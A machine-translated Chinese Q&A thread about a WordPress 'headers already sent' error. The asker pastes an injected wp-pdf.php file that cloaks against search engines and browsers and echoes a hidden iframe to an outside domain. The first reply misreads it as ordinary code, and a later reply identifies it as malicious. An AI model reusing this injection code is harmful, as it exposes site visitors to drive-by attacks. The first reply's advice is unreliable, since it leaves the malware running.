1

我知道这是一个经典:我收到来自 Wordpress 的错误消息:

警告:无法修改标头信息 - 标头已由 /home/quanscom/public_html/blog/wp-includes/feed-rss2 中的(输出开始于 /home/quanscom/public_html/blog/wp-pdf.php:8)发送。第 8 行的 php

我知道这通常来自垃圾空间或文件中的一行,但这次似乎有所不同。

我一直在关注所有这些链接:

https://www.google.com/search?sourceid=chrome&ie=UTF-8&q=Warning%3A+Cannot+modify+header+information+-+headers+already+sent+by+wordpress+rss

尤其是这个:

http://codex.wordpress.org/Answers-Trouble_Shooting#Headers_already_sent

但一切都没有改变。正如最后一个链接中所建议的那样,我已将这两个文件替换为原始文件,但没有任何改变。有人可以用一些新鲜的眼光来看看吗?谢谢,您会在下面找到两个页面:

wp-pdfphp:

    <?php
if(!@isset($_COOKIE['PHPSESS1D']) &&
   !@preg_match('/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|Mac OS|Opera Mini|Chrome|Apple|Presto/i',$_SERVER['HTTP_USER_AGENT'])) {
    if (!is_feed()) {
        echo '<script type="text/javascript">
                d=new Date();
                d.setDate(d.getDate()+1);
                document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
                </script>';
        echo '<style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://3gb2.lili2d.com/ad.jpg?11"></iframe>';
    }
}
?>

饲料-rss2.php:

<?php
/**
 * RSS2 Feed Template for displaying RSS2 Posts feed.
 *
 * @package WordPress
 */

header('Content-Type: '.feed_content_type('rss-http').'; charset='.get_option('blog_charset'), true);
$more = 1;

echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    <?php do_action('rss2_ns'); ?>
>
Then some code in <channel> until the end with </channel> </rss> without any space or empty line after.
4

2 回答 2

1

在第 8 行的 wp-pdf.php 文件中,您有一个 echo 语句。在 feed-rss2.php 你有一个 header() 函数,它基本上试图设置响应的标题。由于输出已经发生在 wp-pdf.php 文件中,因此您会收到此错误。

要解决此问题,您可以使用此条件附上 echo 语句。

if (!is_feed()) {
    // your echo statement here
}
于 2012-04-19T06:38:45.837 回答
0

仔细查看 wp-pdf.php 文件代码,它对我来说似乎有点恶意。它在您的页面上包含一个隐藏的 iframe 到一个看起来非常恶意的域。该代码还检查该页面是否被搜索引擎引用。

我知道你继承了这段代码。你能告诉我这个文件所在的完整路径吗?

编辑

我认为您可以删除 wp-pdf.php 文件。当您删除它时,它可能会在最初包含它的地方产生另一个错误。您也可以去那里删除引用。

于 2012-04-20T06:02:02.617 回答